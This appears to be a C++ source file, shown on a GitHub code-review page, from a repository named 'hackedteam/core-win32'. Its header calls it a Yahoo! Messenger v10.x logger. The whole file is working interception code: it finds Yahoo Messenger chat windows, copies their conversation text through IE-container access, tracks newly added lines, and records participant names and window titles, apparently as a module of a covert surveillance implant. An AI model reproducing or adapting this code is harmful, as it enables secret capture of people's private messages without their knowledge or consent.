hackedteam/core-win32

View on GitHub
HM_IMAgent/QYim10.cpp

Summary

Maintainability
Test Coverage
/*
* Yahoo! Messenger v10.x Logger
*
* Coded by: Quequero
* Date: 15/Dec/2009
*
*/

#include <exception>
#include <new>
#include <stdio.h>
using namespace std;

#include "QYim10.h"
#include "..\HM_SafeProcedures.h"
#include "..\common.h"
#define MIN_SEARCH_LENGTH 200

PWCHAR QYim10::wChatTree[] = {
    L"CConvWndBase",
    L"YHTMLContainer",
    L"Internet Explorer_Server",
    0
};

PWCHAR QYim10::wChatUserListTree[] = {
    L"YTopWindow",
    L"YSearchMenuWndClass",
    L"CMerlinWndBase",
    L"SysListView32",
    0
};

QYim10::QYim10(HWND hw) : QYim8(hw)
{
    WCHAR wTopic[256];

    pwConv = NULL;

    hwChat = ole.GetHandleFromClass(wChatTree);
    hwUserList = ole.GetHandleFromClass(wChatUserListTree);

    if(HM_SafeGetWindowTextW(hw, wTopic, 256))
        properties.SetId(wTopic);
    else
        properties.SetId(L"");
}

QYim10::~QYim10()
{
    if(pwConv){
        delete[] pwConv;
        pwConv = NULL;
    }
}

BOOL QYim10::GrabHistory()
{
    //LONG uLines, uIndex, i;
    BSTR bChat = NULL;
    PWCHAR wTmp = NULL, wRes = NULL, wOld = NULL;
    UINT uCount = 0;

    if(!FNC(IsWindow)(ole.GetHandle()))
        return FALSE;

    if(hwChat == NULL)
        return FALSE;

    ole.SetHandle(hwChat);

    if(bFirstGrab){
        properties.ClearHistory();

        if(ole.GetValueFromIEContainer(&bChat) == FALSE || bChat == NULL){
            properties.SetUpdated(FALSE);
            ole.Clean();
            return FALSE;
        }

        if(FixString(bChat) == FALSE){
            SAFE_SYSFREESTR(bChat);
            return FALSE;
        }

        wprintf(L"%s\n", pwConv);

        properties.SetHistory(pwConv);
        properties.SetUpdated(TRUE);

        SAFE_SYSFREESTR(bChat);
        bChat = NULL;
        bFirstGrab = FALSE;
        ole.Clean();
        return TRUE;
    }

    // Se siamo qui, non e' il primo grab
    // Tronca la history se e' gia' stata acquisita
    if(properties.GetAcquiredStatus()){
        properties.TruncateHistory();

        // Acquisiamo il contenuto della finestra
        if(ole.GetValueFromIEContainer(&bChat) == FALSE || bChat == NULL){
            ole.Clean();
            return FALSE;
        }

        if(FixString(bChat) == FALSE){
            SAFE_SYSFREESTR(bChat);
            return FALSE;
        }

        SAFE_SYSFREESTR(bChat);
        bChat = NULL;

        // Cerchiamo dove si trova l'ultima parte acquisita
        wRes = properties.wcsrstr(pwConv, properties.GetHistory());

        // YIM 10 aggiunge delle righe alla history se la chat viene ricevuta
        // percio' epuriamo il log eliminando una alla volta alcune righe
        for (UINT i = 0; i < 5 && wRes == NULL; i++) {
            wRes = properties.wcsrstr(properties.GetHistory(), L"\n");

            if (wRes)
                *wRes = 0;

            wRes = properties.wcsrstr(pwConv, properties.GetHistory());
        }

        if(wRes == NULL){
            properties.SetUpdated(FALSE);
        } else if(wRes == properties.GetHistory()){
            properties.SetUpdated(FALSE);
        }else{
            uCount = properties.GetHistoryLength();

            if(wcslen(wRes) == uCount){
                properties.SetUpdated(FALSE);
            }else{
                properties.ClearHistory();
                properties.SetHistory(wRes + uCount);
                properties.SetUpdated(TRUE);
            }
        }
    }else{ // Parti dall'ultima riga e confronta
        // Acquisiamo il contenuto della finestra
        if(ole.GetValueFromIEContainer(&bChat) == FALSE || bChat == NULL){
            ole.Clean();
            return FALSE;
        }

        // Cerca l'ultima riga della chat che abbiamo nella nostra history
        uCount = properties.GetHistoryLength();
        wTmp = properties.GetHistory();

        if(uCount > MIN_SEARCH_LENGTH)
            wTmp += uCount - MIN_SEARCH_LENGTH;

        if(!wcslen(bChat)){
            SAFE_SYSFREESTR(bChat);
            ole.Clean();
            return TRUE;
        }

        uCount = wcslen(bChat);

        if(FixString(bChat) == FALSE){
            SAFE_SYSFREESTR(bChat);
            return FALSE;
        }

        SAFE_SYSFREESTR(bChat);
        bChat = NULL;

        // Cerchiamo dove si trova l'ultima parte acquisita
        wOld = properties.wcsrstr(pwConv, properties.GetHistory());        

        // Cerchiamo dove si trova l'ultima parte acquisita
        wTmp = wcsstr(pwConv, wOld);    

        if(!wcsncmp(wTmp, properties.GetHistory(), uCount)){
            properties.SetUpdated(FALSE);
        }else{
            properties.AppendHistory(wTmp + uCount);
            properties.SetUpdated(TRUE);
        }
    }

    if(bChat)
        SAFE_SYSFREESTR(bChat);

    ole.Clean();
    return TRUE;
/*
    if(ole.SetInterface() == FALSE){
        ole.Clean();
        return FALSE;
    }

    if(ole.SetYimRecursiveInterface() == FALSE){
        ole.Clean();
        return FALSE;
    }

    uIndex = uLines = ole.RecursiveTypeCountFromYi(NULL, ROLE_SYSTEM_TEXT);

    if(uLines == -1 || uLines == 0){
        ole.Clean();
        return FALSE;
    }

    //
    //if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, uLines - 1, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
    //    SAFE_SYSFREESTR(bChat);
    //  properties.SetUpdated(FALSE);
    //    ole.Clean();
    //    return FALSE;
    //}
    //SAFE_SYSFREESTR(bChat);
    //

    
    // A volte... Casualmente a quanto pare, YIM accoda alla lista una
    // riga vuota contenente solo uno spazio... Se lo troviamo facciamo
    // in modo di skipparlo.
    for(i = uIndex; i > 0 ; i--){
        if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, i - 1, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
            SAFE_SYSFREESTR(bChat);
            properties.SetUpdated(FALSE);
            ole.Clean();
            return FALSE;
        }

        if(wcslen(bChat) == 1 && (!wcsncmp(bChat, L" ", 1) || bChat[0] == 0xA0))
            uLines--;
        else
            break;

        SAFE_SYSFREESTR(bChat);
        bChat = NULL;
    }

    SAFE_SYSFREESTR(bChat);
    bChat = NULL;

    uIndex = uLines;

    if(uLines < 1){
        ole.Clean();
        return FALSE;
    }


    // Se e' il primo grab di questo oggetto, prendi solo l'ultima
    // riga, in questo modo skippiamo tutta la history precedente.
    if(bFirstGrab){
        if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, uIndex - 1, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
            SAFE_SYSFREESTR(bChat);
            bChat = NULL;
            properties.SetUpdated(FALSE);
            ole.Clean();
            return FALSE;
        }

        if(properties.SetHistory(bChat)){
            properties.SetUpdated(TRUE);
        }

        SAFE_SYSFREESTR(bChat);
        bChat = NULL;

        bFirstGrab = FALSE;
        ole.Clean();
        return TRUE;
    }

    // Se siamo qui, non e' il primo grab
    // Pulisci la history se e' gia' stata acquisita
    if(properties.GetAcquiredStatus()){
        properties.CleanHistory();

        // Cerca l'ultima riga della chat che abbiamo nella nostra history
        for(i = uLines; i > 0; i--){
            if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, i - 1, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
                SAFE_SYSFREESTR(bChat);
                bChat = NULL;
                properties.SetUpdated(FALSE);
                ole.Clean();
                return FALSE;
            }

            if(properties.CompareLastLine(bChat)){
                uIndex = i;

                break;
            }

            SAFE_SYSFREESTR(bChat);
            bChat = NULL;
        }

        SAFE_SYSFREESTR(bChat);
        bChat = NULL;

        // Se c'e' qualche riga da acquisire, possiamo cancellare la history
        if(uIndex < uLines)
            properties.ClearHistory();

        // Se i e' uguale a uLines, non ci sono nuove righe, quindi torniamo
        for(i = uIndex; i < uLines; i++){
            if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, i, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
                SAFE_SYSFREESTR(bChat);
                bChat = NULL;
                properties.SetUpdated(FALSE);
                ole.Clean();
                return FALSE;
            }

            if(properties.AppendHistory(bChat))
                properties.SetUpdated(TRUE);

            SAFE_SYSFREESTR(bChat);
            bChat = NULL;
        }
    }else{ // Parti dall'ultima riga e confronta
        // Cerca l'ultima riga della chat che abbiamo nella nostra history
        for(i = uLines; i > 0; i--){
            if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, i - 1, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
                SAFE_SYSFREESTR(bChat);
                bChat = NULL;
                properties.SetUpdated(FALSE);
                ole.Clean();
                return FALSE;
            }

            if(properties.CompareLastLine(bChat)){
                uIndex = i;
                break;
            }

            SAFE_SYSFREESTR(bChat);
            bChat = NULL;
        }

        SAFE_SYSFREESTR(bChat);
        bChat = NULL;

        // Se i e' uguale a uLines, non ci sono nuove righe, quindi torniamo
        for(i = uIndex; i < uLines; i++){
            if(ole.GetYimSpecificLineFromContainer(NULL, &bChat, i, ROLE_SYSTEM_TEXT) == FALSE || bChat == NULL){
                SAFE_SYSFREESTR(bChat);
                bChat = NULL;
                properties.SetUpdated(FALSE);
                ole.Clean();
                return FALSE;
            }

            if(properties.AppendHistory(bChat))
                properties.SetUpdated(TRUE);

            SAFE_SYSFREESTR(bChat);
            bChat = NULL;
        }
    }

    ole.Clean();
    return TRUE;
*/
}

BOOL QYim10::GrabTopic()
{
    WCHAR wTopic[256] = {0};

    ole.SetHandle(hwMain);

    if(HM_SafeGetWindowTextW(ole.GetHandle(), wTopic, 256))
        properties.SetId(wTopic);
    else
        properties.SetId(L"");

    return TRUE;
}

/**
* Prende l'elenco dei partecipanti e lo mette nelle proprieta'.
*/
BOOL QYim10::GrabUserList()
{
    UINT uLen, i;
    BSTR bUser = NULL;
    BOOL bRes;
    WCHAR wTopic[256] = {0}, wUser[256] = {0};
    PWCHAR pwMark;

    properties.ClearUsersList();

    if(hwUserList == NULL)
        hwUserList = ole.GetHandleFromClass(wChatUserListTree);

    // Se non c'e' il pannellino laterale, prova ad estrarre l'username
    // del nostro interlocutore dal titolo della finestra
    if(hwUserList == NULL){
        if(HM_SafeGetWindowTextW(hwMain, wTopic, 256)) {
            pwMark = wcsstr(wTopic, L" --");

            if(pwMark){
                wcsncpy_s(wUser, 255, wTopic, (INT)(pwMark - wTopic));
                properties.AppendUser(wUser, FALSE);
                return TRUE;
            }
            
            pwMark = wcsstr(wTopic, L" -");

            if(pwMark){
                wcsncpy_s(wUser, 255, wTopic, (INT)(pwMark - wTopic));
                properties.AppendUser(wUser, FALSE);
                return TRUE;
            }else{
                pwMark = wcsstr(wTopic, L") - ");

                if(pwMark){
                    wcsncpy_s(wUser, 255, wTopic, (INT)(pwMark - wTopic + 1));
                    properties.AppendUser(wUser, FALSE);
                    return TRUE;
                }
            }
        }else{
            return FALSE;
        }
    }

    ole.SetHandle(hwUserList);

    if(ole.SetYimUserListInterface(hwUserList) == FALSE){
        ole.Clean();
        return FALSE;
    }

    uLen = ole.GetYimTypeCount(ROLE_SYSTEM_LISTITEM);

    for(i = 0; i < uLen; i++){
        if(ole.GetYimSpecificLineFromContainer(NULL, &bUser, i, ROLE_SYSTEM_LISTITEM) == FALSE || bUser == NULL){
            if(i < uLen - 1)
                bRes = properties.AppendUser(L"", TRUE);
            else
                bRes = properties.AppendUser(L"", FALSE);

            continue;
        }

        if(i < uLen - 1)
            bRes = properties.AppendUser(bUser, TRUE);
        else
            bRes = properties.AppendUser(bUser, FALSE);

        SAFE_SYSFREESTR(bUser);
        bUser = NULL;

        if(bRes == FALSE){
            ole.Clean();
            return FALSE;
        }
    }

    ole.Clean();
    return TRUE;
}

BOOL QYim10::FixString(PWCHAR bChat)
{
    UINT uCount, i, j;

    if(pwConv){
        delete[] pwConv;
        pwConv = NULL;
    }

    if(bChat == NULL || wcslen(bChat) == 0)
        return FALSE;

    uCount = wcslen(bChat);

    pwConv = new(std::nothrow) WCHAR[uCount + 1];

    if(pwConv == NULL)
        return FALSE;

    memset(pwConv, 0x00, sizeof(WCHAR) * (uCount + 1));

    // YIM accoda alla fine di un messaggio la sequenza "\r\n ", ma
    // solo se non si tratta di una conferenza... 
    while(!wcsncmp(&bChat[uCount - 3], L"\r\n ", 3)){
        uCount -=3;
    };

    //memset(&pwConv[uCount - 3], 0x00, sizeof(WCHAR) * 3);

    for(i = 0, j = 0; i < uCount; i++){
        if(bChat[i] != '\r'){
            pwConv[j] = bChat[i];
            j++;
        }
    }


    uCount = j - 1;

    while(pwConv[uCount] == '\n'){
        uCount--;
    }

    pwConv[uCount + 1] = 0;

    return TRUE;
}